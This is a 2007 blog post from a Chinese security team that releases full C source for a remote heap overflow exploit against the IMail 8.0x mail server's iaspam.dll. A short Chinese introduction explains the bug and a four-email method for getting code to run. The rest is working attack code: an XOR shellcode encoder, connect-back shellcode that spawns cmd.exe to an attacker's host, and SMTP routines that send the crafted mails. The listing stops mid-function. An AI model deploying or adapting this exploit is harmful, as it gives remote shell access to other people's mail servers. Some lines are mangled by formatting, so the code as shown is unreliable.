2007年9月19日星期三

[Exploit]IMail iaspam.dll 8.0x Remote Heap Overflow Exploit

Author: axis
Date: 2007-09-20
Team: http://www.ph4nt0m.org

为了庆祝幻影成立6周年(6th Anniversary),老规矩,发点贺礼出来。
今年写的一个exp,送给过一些朋友,这次把source code直接公布出来。

这个漏洞也没啥,但是利用方式还不错,可以给大家借鉴下。

请仔细阅读我的注释,要是溢出不成功别找我。ScriptKids are not welcome.

Text Mode

/*

  by axis
  2007-06-05
  
http://www.ph4nt0m.org


  以前有这个一个imail的exp
PRIVATE Remote Exploit  For IMAIL Smtp Server(1.2)
This is For imail 8.01-8.11 version
Usage:faint.exe -d <host> [options]
Options:
        -d:             Hostname to attack [Required]
        -t:             Type [Default: 0]
        -p:             Attack port [Default: 25]
        -S:             the IP connect back to.
        -P:             the port connect back to.
Types:
        0: win2k All version , IMail 8.01-11

  不知道是哪位大牛写的

最近看了看,

非常好玩的一个漏洞。

漏洞是发生在iaspam.dll里

loc_1001ada5       ==> 注意动态调试时候注意加载基址的不同。
mov    eax, [ebp+var_54]
mov    ecx, [eax+10c8h]
push   ecx                 ; char *
mov    edx, [ebp+var_54]
mov    eax, [edx+10d0h]
push   eax                 ; char *
call   _strcpy
add    esp, 8
jmp    loc_1001a6f0


  这里strcpy的两个buffer,src和dst的指针,居然是直接从堆里读出来的。
  而之前没有做任何检查

  所以发送个邮件到服务器,SMD文件

  然后在其后的偏移处控制这两个地址,就可以拷贝任意字符串到任意内存。

  badchar是 0x00 0x0a  emm说还有个 0x25,不过我没找到。


  以前网上那个反连的版本,是利用了覆盖peb里的指针。

  这种方法在2003上不能用。

  这里我采用了emm的方法,构造了一个溢出

  因为imailsec.dll的.data段可写。

  所以我找到了这么一个地方

1000CB5D    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
1000CB60    50              PUSH EAX
1000CB61    8B0D 6C540310   MOV ECX,DWORD PTR DS:[1003546C]          ; IMailsec.1003549C
1000CB67    51              PUSH ECX
1000CB68    8D95 FCFDFFFF   LEA EDX,DWORD PTR SS:[EBP-204]
1000CB6E    52              PUSH EDX
1000CB6F    FF15 F8D30210   CALL DWORD PTR DS:[<&USER32.wsprintfA>]  ; USER32.wsprintfA


  其中指针DWORD PTR DS:[1003546C] 在imailsec.dll的.data中,这个地址可以被我们覆盖。

  所以我们就可以构造一个溢出。

  思路如下:
  第一封邮件: 发送shellcode到内存中保存好。这里我放到了teb中
  第二封邮件: 发送溢出需要的覆盖字符串到内存中保存好。这里我也放在了teb中
  第三封邮件: 覆盖imailsec.dll中的 .data段的指针,使wsprintfA造成溢出

  溢出覆盖使用的字符串是第二封邮件发送过去的,覆盖后的返回地址直接指向了第一封邮件发送过去的shellcode在内存中的地址。

  所以这个漏洞是和平台无关的!!不需要任何opcode!!

  在实际利用时我发送了4封邮件,第一封是废邮件,用于提高成功率。


  由于互联网的spam泛滥,所以等到邮件服务器处理漏洞邮件时,也许已经过了几个月了。。。

  所以最好的方案是使用download+exec 的shellcode。

  这里给出一个比较烂的反连shellcode作为poc。


  据emm说这个漏洞一直没补,只是高版本没有了。。。

  
*/

#include 
<stdio.h>
#include 
<stdlib.h>
#include 
<windows.h>
#include 
<winsock.h>
#include 
<io.h>

#pragma comment (lib,
"ws2_32")


char *szEHLO = "HELO\r\n";
char *szMF = "MAIL FROM <fucker@fuckimail.org>\r\n";
char *szRCPT = "RCPT TO: <postmaster>\r\n";
char *szDATA = "DATA\r\n";
char *szTIME = "Date: Thu, 1 Oct 2007 07:06:09 +0800\r\n";
char *szMIME = "MIME\r\n";
char *szEND = ".\r\n";
char *szQUIT = "QUIT\r\n";
char *szCT = "Content-Type: multipart/boundary=";
char *szCTE = "Content-Transfer-Encoding:";

//#define  SCaddr  "\x50\xe7\x03\x10"
#define  SCaddr  "\x50\xc8\xfd\x7f"
#define  Fuck_ptr "\x6c\x54\x03\x10"   //0x1003546c
#define  Teb_temp1  0x7ffdd050 
#define  Teb_temp2  0x7ffdd040 
#define  Teb_temp3  0x7ffdd030 


unsigned 
short port = 25;
unsigned 
char payload[5000= "";



#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\
                   __asm  _emit 
0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90
#define PROC_END PROC_BEGIN

unsigned 
char sh_Buff[2048];
unsigned 
int  sh_Len;
unsigned 
int  Enc_key=0x99;        //其实无关紧要,动态寻找





unsigned 
char decode1[] =
/*
00401004   . /EB 0E         JMP SHORT encode.00401014
00401006   $ |5B            POP EBX
00401007   . |4B            DEC EBX
00401008   . |33C9          XOR ECX,ECX
0040100A   . |B1 FF         MOV CL,0FF
0040100C   > |80340B 99     XOR BYTE PTR DS:[EBX+ECX],99
00401010   .^|E2 FA         LOOPD SHORT encode.0040100C
00401012   . |EB 05         JMP SHORT encode.00401019
00401014   > \E8 EDFFFFFF   CALL encode.00401006
*/
"\xEB\x0E\x5B\x4B\x33\xC9\xB1"
"\xFF"          // shellcode size
"\x80\x34\x0B"
"\xB8"          // xor byte
"\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF";

unsigned 
char decode2[] =
/*
00406030   /EB 10           JMP SHORT 00406042
00406032   |5B              POP EBX
00406033   |4B              DEC EBX
00406034   |33C9            XOR ECX,ECX
00406036   |66:B9 6601      MOV CX,166
0040603A   |80340B 99       XOR BYTE PTR DS:[EBX+ECX],99
0040603E  ^|E2 FA           LOOPD SHORT 0040603A
00406040   |EB 05           JMP SHORT 00406047
00406042   \E8 EBFFFFFF     CALL 00406032
*/
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9"
"\x66\x01"      // shellcode size
"\x80\x34\x0B"
"\xB8"          // xor byte
"\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF";

// kernel32.dll functions index
#define _LoadLibraryA            0x00
#define _CreateProcessA            0x04
//#define _ExitProcess            0x08
#define _ExitThread             0x08
#define    _WaitForSingleObject    0x0C
// ws2_32.dll functions index
#define _WSASocketA                0x10
#define _connect                0x14
#define _closesocket            0x18
//#define _WSAStartup            0x1C

// functions number
#define _Knums                  4
#define _Wnums                  3

// Need functions
unsigned char functions[100][128=         
{                                           
// [esi] stack layout
    
// kernel32 4                           // 00 kernel32.dll
    {"LoadLibraryA"},                       //    [esi]
    {"CreateProcessA"},                     //    [esi+4]       
    {"ExitThread"},                         //    [esi+8]
    
//{"ExitProcess"},
    
//{"TerminateProcess"},
    {"WaitForSingleObject"},                //    [esi+12] 

    
// ws2_32  3                            // 01 ws2_32.dll
    {"WSASocketA"},                         //    [esi+16]     
    {"connect"},                            //    [esi+20]        
    {"closesocket"},                        //    [esi+24]
    
//{"WSAStartup"},                       //    [esi+28]
    {""},
};

void PrintSc(unsigned char *lpBuff, int buffsize);
void ShellCode();

// Get function hash
unsigned long hash(unsigned char *c)
{
    unsigned 
long h=0;
    
while(*c)
    {
        h 
= ( ( h << 25 ) | ( h >> 7 ) ) + *c++;
    }
    
return h;
}

// get shellcode
void GetShellCode(char* ipstr, short port)
{
    
char  *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
    
char  *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
    unsigned 
char  *pSc_addr;
    unsigned 
char  pSc_Buff[2048];
    unsigned 
int   MAX_Sc_Len=0x2000;
    unsigned 
long  dwHash[100];
    unsigned 
int   dwHashSize;

    unsigned 
int l,i,j,k;

    
char *p;
    
int ip;

    
// Get functions hash
    for (i=0;;i++) {
        
if (functions[i][0== '\x0'break;

        dwHash[i] 
= hash(functions[i]);
        
//fprintf(stderr, "%.8X\t%s\n", dwHash[i], functions[i]);
    }
    dwHashSize 
= i*4;

    
// Deal with shellcode
    pSc_addr = (unsigned char *)ShellCode;

    
for (k=0;k<MAX_Sc_Len;++k ) {
        
if(memcmp(pSc_addr+k,fnbgn_str, 8)==0) {
            
break;
        }
    }
    pSc_addr
+=(k+8);   // start of the ShellCode
    
    
for (k=0;k<MAX_Sc_Len;++k) {
        
if(memcmp(pSc_addr+k,fnend_str, 8)==0) {
            
break;
        }
    }
    sh_Len
=k; // length of the ShellCode
    
    memcpy(pSc_Buff, pSc_addr, sh_Len);

    
for(k=0; k<sh_Len; ++k)
    {
        
if(memcmp(pSc_Buff+k, "\x68\x7F\x00\x00\x01"5== 0)
        {
            ip 
= inet_addr(ipstr);
            p 
= (char*)&ip;
            pSc_Buff[k
+1= p[0];
            pSc_Buff[k
+2= p[1];
            pSc_Buff[k
+3= p[2];
            pSc_Buff[k
+4= p[3];
        }
        
if(memcmp(pSc_Buff+k, "\x68\x02\x00\x00\x35"5== 0)
        {
            p 
= (char*)&port;
            pSc_Buff[k
+3= p[1]; 
            pSc_Buff[k
+4= p[0];
        }
    }

    
// Add functions hash
    memcpy(pSc_Buff+sh_Len, (unsigned char *)dwHash, dwHashSize);
    sh_Len 
+= dwHashSize;

    
//printf("%d bytes shellcode\n", sh_Len);
    
// print shellcode
    
//PrintSc(pSc_Buff, sh_Len);

    
// find xor byte
    for(i=0xff; i>0; i--)
    {
        l 
= 0;
        
for(j=0; j<sh_Len; j++)
        {
            
if ( 
//                   ((pSc_Buff[j] ^ i) == 0x26) ||    //%
//                   ((pSc_Buff[j] ^ i) == 0x3d) ||    //=
    
//               ((pSc_Buff[j] ^ i) == 0x3f) ||    //?
                   
//((pSc_Buff[j] ^ i) == 0x40) ||    //@
                   ((pSc_Buff[j] ^ i) == 0x00||
                   
//((pSc_Buff[j] ^ i) == 0x3c) ||
                   
//((pSc_Buff[j] ^ i) == 0x3e) ||
    
//               ((pSc_Buff[j] ^ i) == 0x2f) ||
    
//               ((pSc_Buff[j] ^ i) == 0x22) ||
    
//               ((pSc_Buff[j] ^ i) == 0x2a) ||
                   
//((pSc_Buff[j] ^ i) == 0x3a) ||
    
//               ((pSc_Buff[j] ^ i) == 0x20) ||
                   ((pSc_Buff[j] ^ i) == 0x25||
                   ((pSc_Buff[j] 
^ i) == 0x0D||
                   ((pSc_Buff[j] 
^ i) == 0x0A
    
//               ((pSc_Buff[j] ^ i) == 0x5C)
                )
            {
                l
++;
                
break;
            };
        }

        
if (l==0)
        {
            Enc_key 
= i;
            
//printf("Find XOR Byte: 0x%02X\n", i);
            for(j=0; j<sh_Len; j++)
            {
                pSc_Buff[j] 
^= Enc_key;
            }

            
break;                        // break when found xor byte
        }
    }

    
// No xor byte found
    if (l!=0){
        
//fprintf(stderr, "No xor byte found!\n");

        sh_Len  
= 0;
    }
    
else {
        
//fprintf(stderr, "Xor byte 0x%02X\n", Enc_key);

        
// encode
        if (sh_Len > 0xFF) {
            
*(unsigned short *)&decode2[8= sh_Len;
            
*(unsigned char *)&decode2[13= Enc_key;

            memcpy(sh_Buff, decode2, 
sizeof(decode2)-1);
            memcpy(sh_Buff
+sizeof(decode2)-1, pSc_Buff, sh_Len);
            sh_Len 
+= sizeof(decode2)-1;
        }
        
else {
            
*(unsigned char *)&decode1[7]  = sh_Len;
            
*(unsigned char *)&decode1[11= Enc_key;

            memcpy(sh_Buff, decode1, 
sizeof(decode1)-1);
            memcpy(sh_Buff
+sizeof(decode1)-1, pSc_Buff, sh_Len);
            sh_Len 
+= sizeof(decode1)-1;
        }
    }
}

// print shellcode
void PrintSc(unsigned char *lpBuff, int buffsize)
{
    
int i,j;
    
char *p;
    
char msg[4];

    printf(
"/* %d bytes */\n",buffsize);
    
for(i=0;i<buffsize;i++)
    {
        
if((i%16)==0)
            
if(i!=0)
                printf(
"\"\n\"");
            
else
                printf(
"\"");
        sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
        
for( p = msg, j=0; j < 4; p++, j++ )
        {
            
if(isupper(*p))
                printf(
"%c", _tolower(*p));
            
else
                printf(
"%c", p[0]);
        }
    }
   printf( 
"\";\n");
}

// ShellCode function
void ShellCode()
{
    __asm
    {
        PROC_BEGIN                          
// C macro to begin proc

        jmp     sc_end       
sc_start:         
        pop     edi                         
// Hash string start addr (esp -> edi)

        
// Get kernel32.dll base addr
        mov     eax, fs:0x30                // PEB
        mov     eax, [eax+0x0c]             // PROCESS_MODULE_INFO
        mov     esi, [eax+0x1c]             // InInitOrder.flink 
        lodsd                               // eax = InInitOrder.blink
        mov     ebp, [eax+8]                // ebp = kernel32.dll base address

        mov     esi, edi                    
// Hash string start addr -> esi
    
    
// Get function addr of kernel32
        push    _Knums
        pop     ecx
        
    get_kernel32:
        call    GetProcAddress_fun
        loop    get_kernel32

        
// Get ws2_32.dll base addr
        push    0x00003233
        push    
0x5f327377
        push    esp
        call    dword ptr [esi
+_LoadLibraryA]         // LoadLibraryA("ws2_32");
        
        
//mov     ebp, eax                   // ebp = ws2_32.dll base address
        xchg    eax, ebp

   
// Get function addr of ws2_32
        push    _Wnums
        pop     ecx

    get_ws2_32:
        call    GetProcAddress_fun
        loop    get_ws2_32


//
/*
     
//LWSAStartup:
        sub     esp, 400
        push    esp
        push    0x101
        call    dword ptr [esi+_WSAStartup]             // WSAStartup(0x101, &WSADATA);
//
*/

//LWSASocketA:
        push    ecx
        push    ecx
        push    ecx
        push    ecx

        push    
1
        push    
2
        call    dword ptr [esi
+_WSASocketA]   // s=WSASocketA(2,1,0,0,0,0);

        
//mov     ebx, eax                    // socket -> ebx
        xchg    eax, ebx
        
//Lconnect:
        
//int 3
        push    0x0100007F                     // host: 127.0.0.1 
        push    0x35000002                     // port: 53 
        mov     ebp, esp
        
        push    
0x10                        // sizeof(sockaddr_in)
        push    ebp                         // sockaddr_in address
        push    ebx                         // socket s
        call    dword ptr [esi+_connect]    // connect(s, name, sizeof(name));

        
// if connect failed , exit
        test    eax, eax
        jne     Finished
        
//        xor     eax, eax
        
        
// allot memory for STARTUPINFO, PROCESS_INFORMATION
        mov     edi, esp
           
        
// zero out SI/PI
        push    0x12
        pop     ecx
    stack_zero:
        stosd
        loop    stack_zero
        
        
//mov     byte ptr [esp+0x10], 0x44   // si.cb = sizeof(si)
        
//inc     byte ptr [esp+0x3C]         // si.dwFlags
        
//inc     byte ptr [esp+0x3D]         // si.wShowWindow
        
//mov     [esp+0x48], ebx             // si.hStdInput = s
        
//mov     [esp+0x4C], ebx             // si.hStdOutput = s
        
//mov     [esp+0x50], ebx             // si.hStdError = s
        
        mov     word ptr  [esp
+0x3c], 0x0101
        xchg    eax, ebx
        stosd
        stosd
        stosd
    
        mov     edi, esp
    
        
// push "cmd"
        push    0x00646d63                  // "cmd"
        mov     ebp, esp

        push    eax                         
// socket
        
//LCreateProcess:
        lea     eax, [edi+0x10]                    
        push    edi                         
// pi
        push    eax                         // si
        push    ecx                         // lpCurrentDirectory
        push    ecx                         // lpEnvironment
        push    ecx                         // dwCreationFlags
        push    1                           // bInheritHandles
        push    ecx                         // lpThreadAttributes
        push    ecx                         // lpProcessAttributes
        push    ebp                         // lpCommandLine =  "cmd"
        push    ecx                         // lpApplicationName NULL
        call    dword ptr [esi+_CreateProcessA]         // CreactProcessA(NULL,"CMD",0,0,1,0,0,0,si, pi);
    
//LWaitForSingleObject:
        
//push    1  
        push    0xFFFFFFFF
        push    dword ptr [edi]
        call    dword ptr [esi
+_WaitForSingleObject]    // WaitForSingleObject(Handle, time) ;

//LCloseSocket:
        
//push    ebx
        call    dword ptr [esi+_closesocket]           // closesocket(c);

Finished:
        
// 恢复构造的溢出点
        mov     eax, 0x1003546c
        mov     DWORD ptr [eax],    
0x1003549c
        mov     DWORD ptr [eax
+4],  0x100354c8
        mov     DWORD ptr [eax
+8],  0x100354e0



        
//push    1
        
//call    dword ptr [esi+_ExitProcess]            // ExitProcess();
        xor     eax, eax
        push    eax
        call    dword ptr [esi
+_ExitThread]

// 
GetProcAddress_fun:    
        push    ecx
        push    esi
    
        mov     esi, [ebp
+0x3C]             // e_lfanew
        mov     esi, [esi+ebp+0x78]         // ExportDirectory RVA
        add     esi, ebp                    // rva2va
        push    esi
        mov     esi, [esi
+0x20]              // AddressOfNames RVA
        add     esi, ebp                    // rva2va
        xor     ecx, ecx
        dec     ecx

    find_start:
        inc     ecx
        lodsd
        add     eax, ebp
        xor     ebx, ebx
        
    hash_loop:
        movsx   edx, 
byte ptr [eax]
        cmp     dl, dh
        jz      
short find_addr
        ror     ebx, 
7               // hash key
        add     ebx, edx
        inc     eax
        jmp     
short hash_loop
     
    find_addr:
        cmp     ebx, [edi]                  
// compare to hash
        jnz     short find_start
        pop     esi                         
// ExportDirectory
                    
// AddressOfNameOrdinals RVA
/*

//--------------------------------------------------------
        jmp over_it
        __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 
        __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40
        __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 
        __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 
//--------------------------------------------------------

over_it:
*/
        mov     ebx, [esi
+0x24
        add     ebx, ebp                    
// rva2va
        mov     cx, [ebx+ecx*2]             // FunctionOrdinal
        mov     ebx, [esi+0x1C]             // AddressOfFunctions RVA
        add     ebx, ebp                    // rva2va
        mov     eax, [ebx+ecx*4]            // FunctionAddress RVA
        add     eax, ebp                    // rva2va
        stosd                               // function address save to [edi]
        
        pop     esi
        pop     ecx
        ret
        
sc_end:
        call sc_start
       
        PROC_END                            
//C macro to end proc
    }
}





// ripped from isno
int Make_Connection(char *address,int port,int timeout)
{
    
struct sockaddr_in target;
    SOCKET s;
    
int i;
    DWORD bf;
    fd_set wd;
    
struct timeval tv;

    s 
= socket(AF_INET,SOCK_STREAM,0);
    
if(s<0)
        
return -1;

    target.sin_family 
= AF_INET;
    target.sin_addr.s_addr 
= inet_addr(address);
    
if(target.sin_addr.s_addr==0)
    {
        closesocket(s);
        
return -2;
    }
    target.sin_port 
= htons((short)port);
    bf 
= 1;
    ioctlsocket(s,FIONBIO,
&bf);
    tv.tv_sec 
= timeout;
    tv.tv_usec 
= 0;
    FD_ZERO(
&wd);
    FD_SET(s,
&wd);
    connect(s,(
struct sockaddr *)&target,sizeof(target));
    
if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        closesocket(s);
        
return -3;
    }
    
if(i==0)
    {
        closesocket(s);
        
return -4;
    }
    i 
= sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,(
char *)&bf,&i);
    
if((bf!=0)||(i!=sizeof(int)))
    {
        closesocket(s);
        
return -5;
    }
    ioctlsocket(s,FIONBIO,
&bf);
    
return s;
}




void Disconnect(SOCKET s)
{
    closesocket(s);
    WSACleanup();
}



void help(char *n)
{
    printf(
"==Usage:\n");
    printf(
"%s [target ip] [target port] [local ip] [local port]\n\n", n);
    printf(
"We will send 4 mail to trigger the vuln.\n");
    printf(
"The fucking vuln will be triggered when the mail server handling the mail.\n");
    printf(
"Because of the Spam in the internet,\nthe vuln maybe triggered after a few days!!Fuck!!\n\n");

}


int sendfuckingmail(int the_mail, char *target, int tg_port)
{
    SOCKET  s;
    WSADATA WSAData;
    
char buffer[1000= {0};    // 临时buffer用于io
    int  ret;

    
char padding[5000= {0};   // padding用于填充

    
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
    {
        fprintf(stderr, 
"[-] WSAStartup failed.\n");
        WSACleanup();
        exit(
1);
    }


    s 
= Make_Connection(target, tg_port, 10);
    
if(s<0)
    {
        fprintf(stderr, 
"[-] connect err.\n");
        exit(
1);
    }
    

    recv(s, buffer, 
sizeof(buffer), 0);
    Sleep(
1000);
  
    ret 
= strlen(buffer);    

    
if ( ret < 10 )
    {        
        printf(
"[-]Seems Service Down~ :( \n");
        Disconnect(s);
        
return -1;        
    }


    printf(
"[+]Got Banner: %s", buffer);



    
// HELO
    send(s, szEHLO, strlen(szEHLO), 0);
    recv(s, buffer, 
sizeof(buffer), 0);
//    printf("%s", buffer);
    printf("[+]Say hello to Server.\n");
    memset(buffer, 
0sizeof(buffer));

    
// MAIL FROM
    Sleep(500);
    send(s, szMF, strlen(szMF), 
0);
    recv(s, buffer, 
sizeof(buffer), 0);
    
if(strstr(buffer, "250"))
      printf(
"[+]Recv: %s", buffer);
    
else
        {
            printf(
"[-]Seems Service Down~ :( \n");
            Disconnect(s);
            
return -1;
        }
    memset(buffer, 
0sizeof(buffer));


    
// RCPT TO
    Sleep(500);
    send(s, szRCPT, strlen(szRCPT), 
0);
    recv(s, buffer, 
sizeof(buffer), 0);
    
if(strstr(buffer, "250"))
      printf(
"[+]Recv: %s", buffer);
    
else
        {
            printf(
"[-]Seems Service Down~ :( \n");
            Disconnect(s);
            
return -1;
        }
    memset(buffer, 
0sizeof(buffer));


    
// DATA
    Sleep(500);
    send(s, szDATA, strlen(szDATA), 
0);
    recv(s, buffer, 
sizeof(buffer), 0);
    
if(strstr(buffer, "354"))
      printf(
"[+]Recv: %s", buffer);
    
else
        {
            printf(
"[-]Seems Service Down~ :( \n");
            Disconnect(s);
            
return -1;
        }
    memset(buffer, 
0sizeof(buffer));


    Sleep(
100);
    
// TIME
    send(s, szTIME, strlen(szTIME), 0);
//    recv(s, buffer, sizeof(buffer), 0);
//    printf("%s", buffer);
    printf("[+]Fucking Server at %s", szTIME);
    memset(buffer, 
0sizeof(buffer));

    

    Sleep(
200);


    
// 判断是第几封邮件
    if (the_mail == 0)   // 发一封废邮件,提高成功率
    {
        
/*
           my $padding = "\x22"."B"x2028;
           my $padding1 = "B"x2046;
           my $padding11 = "B"x146;   #163个B
           my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f";     # 在teb中
           my $straddr2 = "\x50\xc0\xfd\x7f";     # shellcode会拷贝到的地址

           print $sock "Content-Type: multipart\/boundary=$padding $padding1 $padding11$straddr1$straddr2\r\n";
        
*/
        memcpy(payload, szCT, strlen((
const char *)szCT));
        
//memcpy(payload+strlen(const char *szCT), "\"", 1);
        memset(padding, 0x435000);
        padding[
0= '\x22';   
        padding[
2029= '\x20';
        padding[
4076= '\x20';

        
//straddr1
        padding[4223= '\x50';
        padding[
4224= '\xd0';
        padding[
4225= '\xfd';
        padding[
4226= '\x7f';
        padding[
4227= '\x30';
        padding[
4228= '\xd0';
        padding[
4229= '\xfd';
        padding[
4230= '\x7f';

        
//straddr2   0x10036ea0
        padding[4231= '\x30';
        padding[
4232= '\xd8';
        padding[
4233= '\xfd';
        padding[
4234= '\x7f';

        padding[
4235= '\x0d';
        padding[
4236= '\x0a';
        padding[
4237= '\x00';

        
        memcpy(payload
+strlen((const char *)szCT), padding, strlen((const char *)padding));
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        Sleep(
100);
        
// MIME
         send(s, (const char *)szMIME, strlen((const char *)szMIME), 0);
   
//    recv(s, buffer, sizeof(buffer), 0);
  
//    printf("%s", buffer);
   
//     printf("[+]Fucking Server at %s.\n", szTIME);
   
//     memset(buffer, 0, sizeof(buffer));
        
        
//print $sock "Content-Transfer-Encoding:$padding2\r\n";
        memset(padding, 0x4380);
        
//memcpy(padding, "\x43", 80);
        padding[80= '\x00';

        memset(payload, 
0x00sizeof(payload));
        memcpy(payload, szCTE, strlen((
const char*)szCTE));
        memcpy(payload
+strlen((const char*)szCTE), padding, strlen((const char*)padding));
        memcpy(payload
+strlen((const char*)szCTE)+strlen((const char*)padding), "\r\n"2);

        Sleep(
200);
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        memset(payload, 
0x00sizeof(payload));

    } 
    
else if (the_mail == 1)   // 构造bufferoverflow的覆盖字符串
    {
        
/*
           my $padding = "\x22"."B"x2028;
           my $padding1 = "B"x2046;
           my $padding11 = "B"x146;   #163个B
           my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f";     # 在teb中
           my $straddr2 = "\x50\xc0\xfd\x7f";     # shellcode会拷贝到的地址

           print $sock "Content-Type: multipart\/boundary=$padding $padding1 $padding11$straddr1$straddr2\r\n";
        
*/
        memcpy(payload, szCT, strlen((
const char *)szCT));
        
//memcpy(payload+strlen(const char *szCT), "\"", 1);
        memset(padding, 0x435000);
        padding[
0= '\x22';   
        padding[
2029= '\x20';
        padding[
4076= '\x20';

        
//straddr1
        padding[4223= '\x50';
        padding[
4224= '\xd0';
        padding[
4225= '\xfd';
        padding[
4226= '\x7f';
        padding[
4227= '\x30';
        padding[
4228= '\xd0';
        padding[
4229= '\xfd';
        padding[
4230= '\x7f';

        
//straddr2   0x10036ea0
        padding[4231= '\x50';
        padding[
4232= '\xc0';
        padding[
4233= '\xfd';
        padding[
4234= '\x7f';

        padding[
4235= '\x0d';
        padding[
4236= '\x0a';
        padding[
4237= '\x00';

        
        memcpy(payload
+strlen((const char *)szCT), padding, strlen((const char *)padding));
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        Sleep(
100);
        
// MIME
         send(s, (const char *)szMIME, strlen((const char *)szMIME), 0);
   
//    recv(s, buffer, sizeof(buffer), 0);
  
//    printf("%s", buffer);
   
//     printf("[+]Fucking Server at %s.\n", szTIME);
   
//     memset(buffer, 0, sizeof(buffer));
        
        
//print $sock "Content-Transfer-Encoding:$padding2\r\n";
        memset(padding, 0x4380);
        
//memcpy(padding, "\x43", 80);
        padding[80= '\x00';

        memset(payload, 
0x00sizeof(payload));
        memcpy(payload, szCTE, strlen((
const char*)szCTE));
        memcpy(payload
+strlen((const char*)szCTE), padding, strlen((const char*)padding));
        memcpy(payload
+strlen((const char*)szCTE)+strlen((const char*)padding), "\r\n"2);

        Sleep(
200);
        send(s, (
const char *)payload, strlen((const char *)payload), 0);


        
// send payload  构造溢出的字符串  eip指向shellcode的地址
        memset(payload, 0x00sizeof(payload));
        memset(payload, 
0x44520);
        memcpy(payload
+520, SCaddr, strlen((const char *)SCaddr));
        memcpy(payload
+520+4"\r\n"2);

        Sleep(
200);
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        memset(payload, 
0x00sizeof(payload));
        
    }
    
else if (the_mail == 2)      // 发送shellcode
    {
        
/*
           my $padding = "\x22"."B"x2028;
           my $padding1 = "B"x2046;
           my $padding11 = "B"x146;   #163个B
           my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f";     # 在teb中
           my $straddr2 = "\x50\xe7\x03\x10";     # shellcode会拷贝到的地址

           print $sock "Content-Type: multipart\/boundary=$padding $padding1 $padding11$straddr1$straddr2\r\n";
        
*/
        memcpy(payload, szCT, strlen((
const char *)szCT));
        
//memcpy(payload+strlen(const char *szCT), "\"", 1);
        memset(padding, 0x435000);
        padding[
0= '\x22';   
        padding[
2029= '\x20';
        padding[
4076= '\x20';

        
//straddr1
        padding[4223= '\x50';
        padding[
4224= '\xd0';
        padding[
4225= '\xfd';
        padding[
4226= '\x7f';
        padding[
4227= '\x30';
        padding[
4228= '\xd0';
        padding[
4229= '\xfd';
        padding[
4230= '\x7f';

        
//straddr2   0x7ffdc850
        padding[4231= '\x50';
        padding[
4232= '\xc8';
        padding[
4233= '\xfd';
        padding[
4234= '\x7f';

        padding[
4235= '\x0d';
        padding[
4236= '\x0a';
        padding[
4237= '\x00';

        
        memcpy(payload
+strlen((const char *)szCT), padding, strlen((const char *)padding));
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        
// MIME
         send(s, (const char *)szMIME, strlen((const char *)szMIME), 0);
   
//    recv(s, buffer, sizeof(buffer), 0);
  
//    printf("%s", buffer);
   
//     printf("[+]Fucking Server at %s.\n", szTIME);
   
//     memset(buffer, 0, sizeof(buffer));
        
        
//print $sock "Content-Transfer-Encoding:$padding2\r\n";
        memset(padding, 0x4380);
        
//memcpy(padding, "\x43", 80);
        padding[80= '\x00';

        memset(payload, 
0x00sizeof(payload));
        memcpy(payload, szCTE, strlen((
const char*)szCTE));
        memcpy(payload
+strlen((const char*)szCTE), padding, strlen((const char*)padding));
        memcpy(payload
+strlen((const char*)szCTE)+strlen((const char*)padding), "\r\n"2);

        send(s, (
const char *)payload, strlen((const char *)payload), 0);
        Sleep(
200);

        
// 发送shellcode过去保存
        memset(payload, 0x00sizeof(payload));
        memcpy(payload, sh_Buff, strlen((
const char*)sh_Buff));
        memcpy(payload
+strlen((const char*)sh_Buff), "\r\n"2);
        
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        memset(payload, 
0x00sizeof(payload));
        


    } 
    
else       //  第三封邮件,构造溢出
    {
        Sleep(
500);  // 因为要触发漏洞了,所以必须要晚点,不然shellcode没到位
        /*
           my $padding = "\x22"."B"x2028;
           my $padding1 = "B"x2046;
           my $padding11 = "B"x146;   #163个B
           my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f";     # 在teb中
           my $straddr2 = "\x6c\x54\x03\x10";     # shellcode会拷贝到的地址

           print $sock "Content-Type: multipart\/boundary=$padding $padding1 $padding11$straddr1$straddr2\r\n";
        
*/
        memcpy(payload, szCT, strlen((
const char *)szCT));
        
//memcpy(payload+strlen(const char *szCT), "\"", 1);
        memset(padding, 0x435000);
        padding[
0= '\x22';   
        padding[
2029= '\x20';
        padding[
4076= '\x20';

        
//straddr1
        padding[4223= '\x50';
        padding[
4224= '\xd0';
        padding[
4225= '\xfd';
        padding[
4226= '\x7f';
        padding[
4227= '\x30';
        padding[
4228= '\xd0';
        padding[
4229= '\xfd';
        padding[
4230= '\x7f';

        
//straddr2  触发溢出的地址
        padding[4231= '\x6c';
        padding[
4232= '\x54';
        padding[
4233= '\x03';
        padding[
4234= '\x10';

        padding[
4235= '\x0d';
        padding[
4236= '\x0a';
        padding[
4237= '\x00';

        
        memcpy(payload
+strlen((const char *)szCT), padding, strlen((const char *)padding));
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        
// MIME
